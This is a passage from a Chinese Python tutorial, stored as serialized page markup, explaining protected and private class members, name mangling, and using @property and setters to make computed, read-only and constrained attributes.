访问限制",{"type":18,"tag":34,"props":78650,"children":78651},{},[78652,78654,78683],{"type":24,"value":78653},"在类的内部可以定义属性和方法，而在类的外部则可以直接调用属性或方法来操作数据，从而隐藏了类内部的复杂逻辑。但是Python并没有对属性和方法的访问权限进行限制。",{"type":18,"tag":105,"props":78655,"children":78656},{},[78657,78659,78665,78667,78673,78675,78681],{"type":24,"value":78658},"为了保证类内部的某些属性或方法不被外部所访问，可以在属性或方法名前面添加单下划线",{"type":18,"tag":74,"props":78660,"children":78662},{"className":78661},[],[78663],{"type":24,"value":78664},"(_foo)",{"type":24,"value":78666},"、双下划线",{"type":18,"tag":74,"props":78668,"children":78670},{"className":78669},[],[78671],{"type":24,"value":78672},"(__foo)",{"type":24,"value":78674},"或首尾加双下划线",{"type":18,"tag":74,"props":78676,"children":78678},{"className":78677},[],[78679],{"type":24,"value":78680},"(__foo__)",{"type":24,"value":78682},"，从而限制访问权限",{"type":24,"value":78684},"。其中，单下划线、双下划线、首尾双下划线的作用如下：",{"type":18,"tag":34,"props":78686,"children":78687},{},[78688,78690,78695,78697,78702,78704,78709,78711,78717,78722,78724,78729,78731,78737],{"type":24,"value":78689},"（1）",{"type":18,"tag":105,"props":78691,"children":78692},{},[78693],{"type":24,"value":78694},"首尾双下划线表示定义特殊方法，一般是系统定义名字",{"type":24,"value":78696},"，如",{"type":18,"tag":74,"props":78698,"children":78700},{"className":78699},[],[78701],{"type":24,"value":76015},{"type":24,"value":78703},"。\n（2）以",{"type":18,"tag":105,"props":78705,"children":78706},{},[78707],{"type":24,"value":78708},"单下划线开头",{"type":24,"value":78710},"的表示",{"type":18,"tag":74,"props":78712,"children":78714},{"className":78713},[],[78715],{"type":24,"value":78716},"protected",{"type":18,"tag":105,"props":78718,"children":78719},{},[78720],{"type":24,"value":78721},"保护类型",{"type":24,"value":78723},"的成员，",{"type":18,"tag":105,"props":78725,"children":78726},{},[78727],{"type":24,"value":78728},"只允许类本身和子类进行访问",{"type":24,"value":78730},"，但不能使用",{"type":18,"tag":74,"props":78732,"children":78734},{"className":78733},[],[78735],{"type":24,"value":78736},"from module import *",{"type":24,"value":78738},"语句导入。",{"type":18,"tag":34,"props":78740,"children":78741},{},[78742,78744,78750,78752,78758,78760,78765,78767,78772,78774,78779],{"type":24,"value":78743},"例如，创建一个",{"type":18,"tag":74,"props":78745,"children":78747},{"className":78746},[],[78748],{"type":24,"value":78749},"Swan",{"type":24,"value":78751},"类，定义保护属性",{"type":18,"tag":74,"props":78753,"children":78755},{"className":78754},[],[78756],{"type":24,"value":78757},"_neck_swan",{"type":24,"value":78759},"，并使用",{"type":18,"tag":74,"props":78761,"children":78763},{"className":78762},[],[78764],{"type":24,"value":76015},{"type":24,"value":78766},"方法访问该属性，然后创建",{"type":18,"tag":74,"props":78768,"children":78770},{"className":78769},[],[78771],{"type":24,"value":78749},{"type":24,"value":78773},"类的实例，并通过实例名输出保护属性",{"type":18,"tag":74,"props":78775,"children":78777},{"className":78776},[],[78778],{"type":24,"value":78757},{"type":24,"value":48645},{"type":18,"tag":287,"props":78781,"children":78783},{"code":78782,"language":28712,"meta":8,"className":28710,"style":8},"class Swan:  \n    '''天鹅类'''  \n    _neck_swan = '天鹅的脖子很长'                   # 定义保护属性  \n    def __init__(self):  \n        print(\"__init__():\", Swan._neck_swan)     # 在实例方法中访问保护属性  \n  \nswan = Swan()                                     # 创建Swan类的实例  \nprint(\"直接访问:\" , swan._neck_swan)               # 保护属性可以通过实例名访问\n",[78784],{"type":18,"tag":74,"props":78785,"children":78786},{"__ignoreMap":8},[78787,78795,78803,78811,78818,78826,78833,78841],{"type":18,"tag":297,"props":78788,"children":78789},{"class":299,"line":300},[78790],{"type":18,"tag":297,"props":78791,"children":78792},{},[78793],{"type":24,"value":78794},"class Swan:  \n",{"type":18,"tag":297,"props":78796,"children":78797},{"class":299,"line":657},[78798],{"type":18,"tag":297,"props":78799,"children":78800},{},[78801],{"type":24,"value":78802},"    '''天鹅类'''  \n",{"type":18,"tag":297,"props":78804,"children":78805},{"class":299,"line":662},[78806],{"type":18,"tag":297,"props":78807,"children":78808},{},[78809],{"type":24,"value":78810},"    _neck_swan = '天鹅的脖子很长'                   # 定义保护属性  \n",{"type":18,"tag":297,"props":78812,"children":78813},{"class":299,"line":799},[78814],{"type":18,"tag":297,"props":78815,"children":78816},{},[78817],{"type":24,"value":71734},{"type":18,"tag":297,"props":78819,"children":78820},{"class":299,"line":808},[78821],{"type":18,"tag":297,"props":78822,"children":78823},{},[78824],{"type":24,"value":78825},"        print(\"__init__():\", Swan._neck_swan)     # 在实例方法中访问保护属性  \n",{"type":18,"tag":297,"props":78827,"children":78828},{"class":299,"line":817},[78829],{"type":18,"tag":297,"props":78830,"children":78831},{},[78832],{"type":24,"value":36783},{"type":18,"tag":297,"props":78834,"children":78835},{"class":299,"line":826},[78836],{"type":18,"tag":297,"props":78837,"children":78838},{},[78839],{"type":24,"value":78840},"swan = Swan()                                     # 创建Swan类的实例  \n",{"type":18,"tag":297,"props":78842,"children":78843},{"class":299,"line":4524},[78844],{"type":18,"tag":297,"props":78845,"children":78846},{},[78847],{"type":24,"value":78848},"print(\"直接访问:\" , swan._neck_swan)               # 保护属性可以通过实例名访问\n",{"type":18,"tag":34,"props":78850,"children":78851},{},[78852],{"type":24,"value":78853},"执行下面的代码，将显示以下内容：",{"type":18,"tag":287,"props":78855,"children":78857},{"code":78856},"__init__(): 天鹅的脖子很长\n直接访问: 天鹅的脖子很长\n",[78858],{"type":18,"tag":74,"props":78859,"children":78860},{"__ignoreMap":8},[78861],{"type":24,"value":78856},{"type":18,"tag":34,"props":78863,"children":78864},{},[78865],{"type":24,"value":78866},"从上面的运行结果中可以看出，保护属性可以通过实例名访问。",{"type":18,"tag":34,"props":78868,"children":78869},{},[78870,78872,78877,78879,78885,78890,78891,78896,78898,78903,78905,78918],{"type":24,"value":78871},"（3）",{"type":18,"tag":105,"props":78873,"children":78874},{},[78875],{"type":24,"value":78876},"双下划线",{"type":24,"value":78878},"表示",{"type":18,"tag":74,"props":78880,"children":78882},{"className":78881},[],[78883],{"type":24,"value":78884},"private",{"type":18,"tag":105,"props":78886,"children":78887},{},[78888],{"type":24,"value":78889},"私有类型",{"type":24,"value":78723},{"type":18,"tag":105,"props":78892,"children":78893},{},[78894],{"type":24,"value":78895},"只允许定义该方法的类本身进行访问",{"type":24,"value":78897},"，而且也",{"type":18,"tag":105,"props":78899,"children":78900},{},[78901],{"type":24,"value":78902},"不能通过类的实例进行访问",{"type":24,"value":78904},"，但是",{"type":18,"tag":105,"props":78906,"children":78907},{},[78908,78910,78916],{"type":24,"value":78909},"可以通过",{"type":18,"tag":74,"props":78911,"children":78913},{"className":78912},[],[78914],{"type":24,"value":78915},"类的实例名._类名__xxx",{"type":24,"value":78917},"方式访问",{"type":24,"value":111},{"type":18,"tag":34,"props":78920,"children":78921},{},[78922,78923,78928,78930,78936,78937,78942,78943,78948,78950,78955],{"type":24,"value":78743},{"type":18,"tag":74,"props":78924,"children":78926},{"className":78925},[],[78927],{"type":24,"value":78749},{"type":24,"value":78929},"类，定义私有属性",{"type":18,"tag":74,"props":78931,"children":78933},{"className":78932},[],[78934],{"type":24,"value":78935},"__neck_swan",{"type":24,"value":78759},{"type":18,"tag":74,"props":78938,"children":78940},{"className":78939},[],[78941],{"type":24,"value":76015},{"type":24,"value":78766},{"type":18,"tag":74,"props":78944,"children":78946},{"className":78945},[],[78947],{"type":24,"value":78749},{"type":24,"value":78949},"类的实例，并通过实例名输出私有属性",{"type":18,"tag":74,"props":78951,"children":78953},{"className":78952},[],[78954],{"type":24,"value":78935},{"type":24,"value":48645},{"type":18,"tag":287,"props":78957,"children":78959},{"code":78958,"language":28712,"meta":8,"className":28710,"style":8},"class Swan:  \n    '''天鹅类'''  \n    __neck_swan = '天鹅的脖子很长'               # 定义私有属性  \n    def __init__(self):  \n        print(\"__init__():\", Swan.__neck_swan)  # 在实例方法中访问私有属性  \n  \nswan = Swan()                                   # 创建Swan类的实例  \nprint(\"加入类名:\" , swan._Swan__neck_swan)       # 私有属性，可以通过“实例名._类名__xxx”方式访问  \ntry:  \n    print(\"直接访问:\" , swan.__neck_swan)            # 私有属性不能通过实例名访问，出错 \nexcept AttributeError:  \n    print(\"访问出错\")\n",[78960],{"type":18,"tag":74,"props":78961,"children":78962},{"__ignoreMap":8},[78963,78970,78977,78985,78992,79000,79007,79015,79023,79031,79039,79047],{"type":18,"tag":297,"props":78964,"children":78965},{"class":299,"line":300},[78966],{"type":18,"tag":297,"props":78967,"children":78968},{},[78969],{"type":24,"value":78794},{"type":18,"tag":297,"props":78971,"children":78972},{"class":299,"line":657},[78973],{"type":18,"tag":297,"props":78974,"children":78975},{},[78976],{"type":24,"value":78802},{"type":18,"tag":297,"props":78978,"children":78979},{"class":299,"line":662},[78980],{"type":18,"tag":297,"props":78981,"children":78982},{},[78983],{"type":24,"value":78984},"    __neck_swan = '天鹅的脖子很长'               # 定义私有属性  \n",{"type":18,"tag":297,"props":78986,"children":78987},{"class":299,"line":799},[78988],{"type":18,"tag":297,"props":78989,"children":78990},{},[78991],{"type":24,"value":71734},{"type":18,"tag":297,"props":78993,"children":78994},{"class":299,"line":808},[78995],{"type":18,"tag":297,"props":78996,"children":78997},{},[78998],{"type":24,"value":78999},"        print(\"__init__():\", Swan.__neck_swan)  # 在实例方法中访问私有属性  \n",{"type":18,"tag":297,"props":79001,"children":79002},{"class":299,"line":817},[79003],{"type":18,"tag":297,"props":79004,"children":79005},{},[79006],{"type":24,"value":36783},{"type":18,"tag":297,"props":79008,"children":79009},{"class":299,"line":826},[79010],{"type":18,"tag":297,"props":79011,"children":79012},{},[79013],{"type":24,"value":79014},"swan = Swan()                                   # 创建Swan类的实例  \n",{"type":18,"tag":297,"props":79016,"children":79017},{"class":299,"line":4524},[79018],{"type":18,"tag":297,"props":79019,"children":79020},{},[79021],{"type":24,"value":79022},"print(\"加入类名:\" , swan._Swan__neck_swan)       # 私有属性，可以通过“实例名._类名__xxx”方式访问  \n",{"type":18,"tag":297,"props":79024,"children":79025},{"class":299,"line":4533},[79026],{"type":18,"tag":297,"props":79027,"children":79028},{},[79029],{"type":24,"value":79030},"try:  \n",{"type":18,"tag":297,"props":79032,"children":79033},{"class":299,"line":4546},[79034],{"type":18,"tag":297,"props":79035,"children":79036},{},[79037],{"type":24,"value":79038},"    print(\"直接访问:\" , swan.__neck_swan)            # 私有属性不能通过实例名访问，出错 \n",{"type":18,"tag":297,"props":79040,"children":79041},{"class":299,"line":4555},[79042],{"type":18,"tag":297,"props":79043,"children":79044},{},[79045],{"type":24,"value":79046},"except AttributeError:  \n",{"type":18,"tag":297,"props":79048,"children":79049},{"class":299,"line":4568},[79050],{"type":18,"tag":297,"props":79051,"children":79052},{},[79053],{"type":24,"value":79054},"    print(\"访问出错\")\n",{"type":18,"tag":34,"props":79056,"children":79057},{},[79058],{"type":24,"value":79059},"执行上面的代码后，将输出如图13所示的结果。",{"type":18,"tag":34,"props":79061,"children":79062},{},[79063],{"type":18,"tag":54,"props":79064,"children":79067},{"alt":79065,"src":79066},"Pasted image 20250809204614","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809204614.png",[],{"type":18,"tag":34,"props":79069,"children":79070},{},[79071,79073,79086,79088,79099],{"type":24,"value":79072},"从上面的运行结果可以看出：",{"type":18,"tag":105,"props":79074,"children":79075},{},[79076,79078,79084],{"type":24,"value":79077},"私有属性不能直接通过",{"type":18,"tag":74,"props":79079,"children":79081},{"className":79080},[],[79082],{"type":24,"value":79083},"实例名+属性名",{"type":24,"value":79085},"访问",{"type":24,"value":79087},"，可以在类的实例方法中访问，也",{"type":18,"tag":105,"props":79089,"children":79090},{},[79091,79092,79098],{"type":24,"value":78909},{"type":18,"tag":74,"props":79093,"children":79095},{"className":79094},[],[79096],{"type":24,"value":79097},"实例名._类名__xxx",{"type":24,"value":78917},{"type":24,"value":111},{"type":18,"tag":19,"props":79101,"children":79103},{"id":79102},"_6-属性property",[79104],{"type":24,"value":79105},"6 属性（Property）",{"type":18,"tag":34,"props":79107,"children":79108},{},[79109,79111,79116,79118,79123],{"type":24,"value":79110},"此部分介绍的属性与上述部分介绍的类属性和实例属性不同。",{"type":18,"tag":105,"props":79112,"children":79113},{},[79114],{"type":24,"value":79115},"上述部分的属性将返回所存储的值，而此部分要介绍的属性则是一种特殊的属性，访问它时将计算它的值",{"type":24,"value":79117},"。另外，",{"type":18,"tag":105,"props":79119,"children":79120},{},[79121],{"type":24,"value":79122},"该属性还可以为属性添加安全保护机制",{"type":24,"value":111},{"type":18,"tag":27,"props":79125,"children":79127},{"id":79126},"_61创建用于计算的属性",[79128],{"type":24,"value":79129},"6.1  创建用于计算的属性",{"type":18,"tag":34,"props":79131,"children":79132},{},[79133,79135,79141,79143,79148,79149,79160],{"type":24,"value":79134},"在Python中，可以通过",{"type":18,"tag":74,"props":79136,"children":79138},{"className":79137},[],[79139],{"type":24,"value":79140},"@property",{"type":24,"value":79142},"（装饰器）",{"type":18,"tag":105,"props":79144,"children":79145},{},[79146],{"type":24,"value":79147},"将一个方法转换为属性，从而实现用于计算的属性",{"type":24,"value":111},{"type":18,"tag":105,"props":79150,"children":79151},{},[79152,79154],{"type":24,"value":79153},"将方法转换为属性后，可以直接通过方法名来访问方法，而不需要再添加一对小括号",{"type":18,"tag":74,"props":79155,"children":79157},{"className":79156},[],[79158],{"type":24,"value":79159},"()",{"type":24,"value":79161},"，这样可以让代码更加简洁。",{"type":18,"tag":34,"props":79163,"children":79164},{},[79165,79166,79171],{"type":24,"value":35824},{"type":18,"tag":74,"props":79167,"children":79169},{"className":79168},[],[79170],{"type":24,"value":79140},{"type":24,"value":79172},"创建用于计算的属性的语法格式如下：",{"type":18,"tag":287,"props":79174,"children":79176},{"code":79175,"language":28712,"meta":8,"className":28710,"style":8},"@property\ndef methodname(self):  \n    block\n",[79177],{"type":18,"tag":74,"props":79178,"children":79179},{"__ignoreMap":8},[79180,79188,79196],{"type":18,"tag":297,"props":79181,"children":79182},{"class":299,"line":300},[79183],{"type":18,"tag":297,"props":79184,"children":79185},{},[79186],{"type":24,"value":79187},"@property\n",{"type":18,"tag":297,"props":79189,"children":79190},{"class":299,"line":657},[79191],{"type":18,"tag":297,"props":79192,"children":79193},{},[79194],{"type":24,"value":79195},"def methodname(self):  \n",{"type":18,"tag":297,"props":79197,"children":79198},{"class":299,"line":662},[79199],{"type":18,"tag":297,"props":79200,"children":79201},{},[79202],{"type":24,"value":77597},{"type":18,"tag":34,"props":79204,"children":79205},{},[79206],{"type":24,"value":75828},{"type":18,"tag":210,"props":79208,"children":79209},{},[79210,79227,79243],{"type":18,"tag":158,"props":79211,"children":79212},{},[79213,79219,79220,79225],{"type":18,"tag":74,"props":79214,"children":79216},{"className":79215},[],[79217],{"type":24,"value":79218},"methodname",{"type":24,"value":75842},{"type":18,"tag":105,"props":79221,"children":79222},{},[79223],{"type":24,"value":79224},"指定方法名",{"type":24,"value":79226},"，一般使用小写字母开头。该名称最后将作为创建的属性名。",{"type":18,"tag":158,"props":79228,"children":79229},{},[79230,79235,79237,79242],{"type":18,"tag":74,"props":79231,"children":79233},{"className":79232},[],[79234],{"type":24,"value":76130},{"type":24,"value":79236},"：必要参数，表示",{"type":18,"tag":105,"props":79238,"children":79239},{},[79240],{"type":24,"value":79241},"类的实例",{"type":24,"value":111},{"type":18,"tag":158,"props":79244,"children":79245},{},[79246,79251,79252,79257,79259,79265],{"type":18,"tag":74,"props":79247,"children":79249},{"className":79248},[],[79250],{"type":24,"value":77644},{"type":24,"value":222},{"type":18,"tag":105,"props":79253,"children":79254},{},[79255],{"type":24,"value":79256},"方法体",{"type":24,"value":79258},"，实现的具体功能。在方法体中，通常以",{"type":18,"tag":74,"props":79260,"children":79262},{"className":79261},[],[79263],{"type":24,"value":79264},"return",{"type":24,"value":79266},"语句结束，用于返回计算结果。",{"type":18,"tag":34,"props":79268,"children":79269},{},[79270,79272,79277,79279,79284],{"type":24,"value":79271},"例如，定义一个矩形类，在",{"type":18,"tag":74,"props":79273,"children":79275},{"className":79274},[],[79276],{"type":24,"value":76015},{"type":24,"value":79278},"方法中定义两个实例属性，然后再定义一个计算矩形面积的方法，并应用",{"type":18,"tag":74,"props":79280,"children":79282},{"className":79281},[],[79283],{"type":24,"value":79140},{"type":24,"value":79285},"将其转换为属性，最后创建类的实例，并访问转换后的属性，代码如下：",{"type":18,"tag":287,"props":79287,"children":79289},{"code":79288,"language":28712,"meta":8,"className":28710,"style":8},"class Rect:  \n  \n    def __init__(self,width,height):  \n        self.width = width                  # 矩形的宽  \n        self.height = height                # 矩形的高  \n  \n    @property                               # 将方法转换为属性  \n    def area(self):                         # 计算矩形的面积的方法  \n        return self.width*self.height       # 返回矩形的面积  \n  \nrect = Rect(800,600)          # 创建类的实例  \nprint(\"面积为：\",rect.area)                 # 输出属性的值\n",[79290],{"type":18,"tag":74,"props":79291,"children":79292},{"__ignoreMap":8},[79293,79301,79308,79316,79324,79332,79339,79347,79355,79363,79370,79378],{"type":18,"tag":297,"props":79294,"children":79295},{"class":299,"line":300},[79296],{"type":18,"tag":297,"props":79297,"children":79298},{},[79299],{"type":24,"value":79300},"class Rect:  \n",{"type":18,"tag":297,"props":79302,"children":79303},{"class":299,"line":657},[79304],{"type":18,"tag":297,"props":79305,"children":79306},{},[79307],{"type":24,"value":36783},{"type":18,"tag":297,"props":79309,"children":79310},{"class":299,"line":662},[79311],{"type":18,"tag":297,"props":79312,"children":79313},{},[79314],{"type":24,"value":79315},"    def __init__(self,width,height):  \n",{"type":18,"tag":297,"props":79317,"children":79318},{"class":299,"line":799},[79319],{"type":18,"tag":297,"props":79320,"children":79321},{},[79322],{"type":24,"value":79323},"        self.width = width                  # 矩形的宽  \n",{"type":18,"tag":297,"props":79325,"children":79326},{"class":299,"line":808},[79327],{"type":18,"tag":297,"props":79328,"children":79329},{},[79330],{"type":24,"value":79331},"        self.height = height                # 矩形的高  \n",{"type":18,"tag":297,"props":79333,"children":79334},{"class":299,"line":817},[79335],{"type":18,"tag":297,"props":79336,"children":79337},{},[79338],{"type":24,"value":36783},{"type":18,"tag":297,"props":79340,"children":79341},{"class":299,"line":826},[79342],{"type":18,"tag":297,"props":79343,"children":79344},{},[79345],{"type":24,"value":79346},"    @property                               # 将方法转换为属性  \n",{"type":18,"tag":297,"props":79348,"children":79349},{"class":299,"line":4524},[79350],{"type":18,"tag":297,"props":79351,"children":79352},{},[79353],{"type":24,"value":79354},"    def area(self):                         # 计算矩形的面积的方法  \n",{"type":18,"tag":297,"props":79356,"children":79357},{"class":299,"line":4533},[79358],{"type":18,"tag":297,"props":79359,"children":79360},{},[79361],{"type":24,"value":79362},"        return self.width*self.height       # 返回矩形的面积  \n",{"type":18,"tag":297,"props":79364,"children":79365},{"class":299,"line":4546},[79366],{"type":18,"tag":297,"props":79367,"children":79368},{},[79369],{"type":24,"value":36783},{"type":18,"tag":297,"props":79371,"children":79372},{"class":299,"line":4555},[79373],{"type":18,"tag":297,"props":79374,"children":79375},{},[79376],{"type":24,"value":79377},"rect = Rect(800,600)          # 创建类的实例  \n",{"type":18,"tag":297,"props":79379,"children":79380},{"class":299,"line":4568},[79381],{"type":18,"tag":297,"props":79382,"children":79383},{},[79384],{"type":24,"value":79385},"print(\"面积为：\",rect.area)                 # 输出属性的值\n",{"type":18,"tag":34,"props":79387,"children":79388},{},[79389],{"type":24,"value":79390},"运行上面的代码，将显示以下运行结果：",{"type":18,"tag":287,"props":79392,"children":79394},{"code":79393},"面积为： 480000\n",[79395],{"type":18,"tag":74,"props":79396,"children":79397},{"__ignoreMap":8},[79398],{"type":24,"value":79393},{"type":18,"tag":96,"props":79400,"children":79401},{},[79402],{"type":18,"tag":34,"props":79403,"children":79404},{},[79405,79407,79412],{"type":24,"value":79406},"注意：通过",{"type":18,"tag":74,"props":79408,"children":79410},{"className":79409},[],[79411],{"type":24,"value":79140},{"type":24,"value":79413},"转换后的属性不能重新赋值，如果对其重新赋值，将抛出如图所示的异常信息。",{"type":18,"tag":34,"props":79415,"children":79416},{},[79417],{"type":18,"tag":54,"props":79418,"children":79421},{"alt":79419,"src":79420},"Pasted image 20250809211454","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809211454.png",[],{"type":18,"tag":27,"props":79423,"children":79425},{"id":79424},"_62为属性添加安全保护机制",[79426],{"type":24,"value":79427},"6.2  为属性添加安全保护机制",{"type":18,"tag":34,"props":79429,"children":79430},{},[79431,79433,79445],{"type":24,"value":79432},"在Python中，默认情况下，创建的类属性或者实例是可以在类体外进行修改的，如果想要限制其不能在类体外修改，可以将其设置为私有的，但设置为私有后，在类体外也不能直接通过实例名+属性名获取它的值。如果",{"type":18,"tag":105,"props":79434,"children":79435},{},[79436,79438,79443],{"type":24,"value":79437},"想要创建一个可以读取但不能修改的属性，那么可以使用",{"type":18,"tag":74,"props":79439,"children":79441},{"className":79440},[],[79442],{"type":24,"value":79140},{"type":24,"value":79444},"实现只读属性",{"type":24,"value":111},{"type":18,"tag":34,"props":79447,"children":79448},{},[79449,79451,79457,79459,79465],{"type":24,"value":79450},"例如，创建一个电视节目类",{"type":18,"tag":74,"props":79452,"children":79454},{"className":79453},[],[79455],{"type":24,"value":79456},"TVshow",{"type":24,"value":79458},"，再创建一个",{"type":18,"tag":74,"props":79460,"children":79462},{"className":79461},[],[79463],{"type":24,"value":79464},"show",{"type":24,"value":79466},"属性，用于显示当前播放的电视节目，代码如下：",{"type":18,"tag":287,"props":79468,"children":79470},{"code":79469,"language":28712,"meta":8,"className":28710,"style":8},"class TVshow:   # 定义电视节目类  \n  \n    def __init__(self,show):  \n        self.__show = show  \n  \n    @property                            # 将方法转换为属性  \n    def show(self):                      # 定义show()方法  \n        return self.__show               # 返回私有属性的值  \n  \ntvshow = TVshow(\"正在播放《战狼2》\")       # 创建类的实例  \nprint(\"默认：\",tvshow.show)               # 获取属性值\n",[79471],{"type":18,"tag":74,"props":79472,"children":79473},{"__ignoreMap":8},[79474,79482,79489,79497,79505,79512,79520,79528,79536,79543,79551],{"type":18,"tag":297,"props":79475,"children":79476},{"class":299,"line":300},[79477],{"type":18,"tag":297,"props":79478,"children":79479},{},[79480],{"type":24,"value":79481},"class TVshow:   # 定义电视节目类  \n",{"type":18,"tag":297,"props":79483,"children":79484},{"class":299,"line":657},[79485],{"type":18,"tag":297,"props":79486,"children":79487},{},[79488],{"type":24,"value":36783},{"type":18,"tag":297,"props":79490,"children":79491},{"class":299,"line":662},[79492],{"type":18,"tag":297,"props":79493,"children":79494},{},[79495],{"type":24,"value":79496},"    def __init__(self,show):  \n",{"type":18,"tag":297,"props":79498,"children":79499},{"class":299,"line":799},[79500],{"type":18,"tag":297,"props":79501,"children":79502},{},[79503],{"type":24,"value":79504},"        self.__show = show  \n",{"type":18,"tag":297,"props":79506,"children":79507},{"class":299,"line":808},[79508],{"type":18,"tag":297,"props":79509,"children":79510},{},[79511],{"type":24,"value":36783},{"type":18,"tag":297,"props":79513,"children":79514},{"class":299,"line":817},[79515],{"type":18,"tag":297,"props":79516,"children":79517},{},[79518],{"type":24,"value":79519},"    @property                            # 将方法转换为属性  \n",{"type":18,"tag":297,"props":79521,"children":79522},{"class":299,"line":826},[79523],{"type":18,"tag":297,"props":79524,"children":79525},{},[79526],{"type":24,"value":79527},"    def show(self):                      # 定义show()方法  \n",{"type":18,"tag":297,"props":79529,"children":79530},{"class":299,"line":4524},[79531],{"type":18,"tag":297,"props":79532,"children":79533},{},[79534],{"type":24,"value":79535},"        return self.__show               # 返回私有属性的值  \n",{"type":18,"tag":297,"props":79537,"children":79538},{"class":299,"line":4533},[79539],{"type":18,"tag":297,"props":79540,"children":79541},{},[79542],{"type":24,"value":36783},{"type":18,"tag":297,"props":79544,"children":79545},{"class":299,"line":4546},[79546],{"type":18,"tag":297,"props":79547,"children":79548},{},[79549],{"type":24,"value":79550},"tvshow = TVshow(\"正在播放《战狼2》\")       # 创建类的实例  \n",{"type":18,"tag":297,"props":79552,"children":79553},{"class":299,"line":4555},[79554],{"type":18,"tag":297,"props":79555,"children":79556},{},[79557],{"type":24,"value":79558},"print(\"默认：\",tvshow.show)               # 获取属性值\n",{"type":18,"tag":34,"props":79560,"children":79561},{},[79562],{"type":24,"value":79563},"执行上面的代码，将显示以下内容：",{"type":18,"tag":287,"props":79565,"children":79567},{"code":79566},"默认： 正在播放《战狼2》\n",[79568],{"type":18,"tag":74,"props":79569,"children":79570},{"__ignoreMap":8},[79571],{"type":24,"value":79566},{"type":18,"tag":34,"props":79573,"children":79574},{},[79575,79577,79582],{"type":24,"value":79576},"通过上面的方法创建的",{"type":18,"tag":74,"props":79578,"children":79580},{"className":79579},[],[79581],{"type":24,"value":79464},{"type":24,"value":79583},"属性是只读的，尝试修改该属性的值，再重新获取。在上面代码中添加以下代码：",{"type":18,"tag":287,"props":79585,"children":79587},{"code":79586,"language":28712,"meta":8,"className":28710,"style":8},"tvshow.show = \"正在播放《红海行动》\"         # 修改属性值  \nprint(\"修改后：\",tvshow.show)              # 获取属性值\n",[79588],{"type":18,"tag":74,"props":79589,"children":79590},{"__ignoreMap":8},[79591,79599],{"type":18,"tag":297,"props":79592,"children":79593},{"class":299,"line":300},[79594],{"type":18,"tag":297,"props":79595,"children":79596},{},[79597],{"type":24,"value":79598},"tvshow.show = \"正在播放《红海行动》\"         # 修改属性值  \n",{"type":18,"tag":297,"props":79600,"children":79601},{"class":299,"line":657},[79602],{"type":18,"tag":297,"props":79603,"children":79604},{},[79605],{"type":24,"value":79606},"print(\"修改后：\",tvshow.show)              # 获取属性值\n",{"type":18,"tag":34,"props":79608,"children":79609},{},[79610],{"type":24,"value":79611},"运行后，将显示如图所示的运行结果，其中红字的异常信息就是修改属性show时抛出的异常。",{"type":18,"tag":34,"props":79613,"children":79614},{},[79615],{"type":18,"tag":54,"props":79616,"children":79619},{"alt":79617,"src":79618},"Pasted image 20250809212121","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809212121.png",[],{"type":18,"tag":34,"props":79621,"children":79622},{},[79623,79628],{"type":18,"tag":105,"props":79624,"children":79625},{},[79626],{"type":24,"value":79627},"通过属性不仅可以将属性设置为只读属性，而且可以为属性设置拦截器，即允许对属性进行修改，但修改时需要遵守一定的约束",{"type":24,"value":111},{"type":18,"tag":34,"props":79630,"children":79631},{},[79632],{"type":24,"value":79633},"场景模拟：某电视台开设了电影点播功能，但要求只能从指定的几个电影（如《战狼2》《红海行动》《西游记女儿国》《熊出没・变形记》）中选择一个。",{"type":18,"tag":34,"props":79635,"children":79636},{},[79637],{"type":18,"tag":105,"props":79638,"children":79639},{},[79640],{"type":24,"value":79641},"实例  在模拟电影点播功能时应用属性",{"type":18,"tag":34,"props":79643,"children":79644},{},[79645,79646,79652,79654,79659,79661,79666],{"type":24,"value":77737},{"type":18,"tag":74,"props":79647,"children":79649},{"className":79648},[],[79650],{"type":24,"value":79651},"film.py",{"type":24,"value":79653},"的文件，然后在该文件中定义一个电视节目类",{"type":18,"tag":74,"props":79655,"children":79657},{"className":79656},[],[79658],{"type":24,"value":79456},{"type":24,"value":79660},"，并在该类中定义一个类属性，用于保存电影列表，然后在",{"type":18,"tag":74,"props":79662,"children":79664},{"className":79663},[],[79665],{"type":24,"value":76015},{"type":24,"value":79667},"方法中定义一个私有的实例属性，再将该属性转换为可读取、可修改（有条件进行）的属性，最后创建类的实例，并获取和修改属性值，代码如下：",{"type":18,"tag":287,"props":79669,"children":79671},{"code":79670,"language":28712,"meta":8,"className":28710,"style":8},"class TVshow:                                     # 定义电视节目类  \n  \n    list_film = [\"战狼2\",\"红海行动\",\"西游记女儿国\",\"熊出没・变形记\"]  \n  \n    def __init__(self,show):  \n        self.__show = show  \n  \n    @property                                     # 将方法转换为属性  \n    def show(self):                               # 定义show()方法  \n        return self.__show                        # 返回私有属性的值  \n  \n    @show.setter                                  # 设置setter方法，让属性可修改  \n    def show(self,value):  \n        if value in TVshow.list_film:             # 判断值是否在列表中  \n            self.__show = \"您选择了《\" + value + \"》，稍后将播放\"  # 返回修改的值  \n        else:  \n            self.__show = \"您点播的电影不存在\"  \n  \ntvshow = TVshow(\"战狼2\")                          # 创建类的实例  \nprint(\"正在播放：《\",tvshow.show,\"》\")             # 获取属性值  \nprint(\"您可以从\",tvshow.list_film,\"中选择要点播放的电影\")  \ntvshow.show = \"红海行动\"                           # 修改属性值  \nprint(tvshow.show)                                # 获取属性值\n",[79672],{"type":18,"tag":74,"props":79673,"children":79674},{"__ignoreMap":8},[79675,79683,79690,79698,79705,79712,79719,79726,79734,79742,79750,79757,79765,79773,79781,79789,79796,79804,79811,79819,79827,79835,79843],{"type":18,"tag":297,"props":79676,"children":79677},{"class":299,"line":300},[79678],{"type":18,"tag":297,"props":79679,"children":79680},{},[79681],{"type":24,"value":79682},"class TVshow:                                     # 定义电视节目类  \n",{"type":18,"tag":297,"props":79684,"children":79685},{"class":299,"line":657},[79686],{"type":18,"tag":297,"props":79687,"children":79688},{},[79689],{"type":24,"value":36783},{"type":18,"tag":297,"props":79691,"children":79692},{"class":299,"line":662},[79693],{"type":18,"tag":297,"props":79694,"children":79695},{},[79696],{"type":24,"value":79697},"    list_film = [\"战狼2\",\"红海行动\",\"西游记女儿国\",\"熊出没・变形记\"]  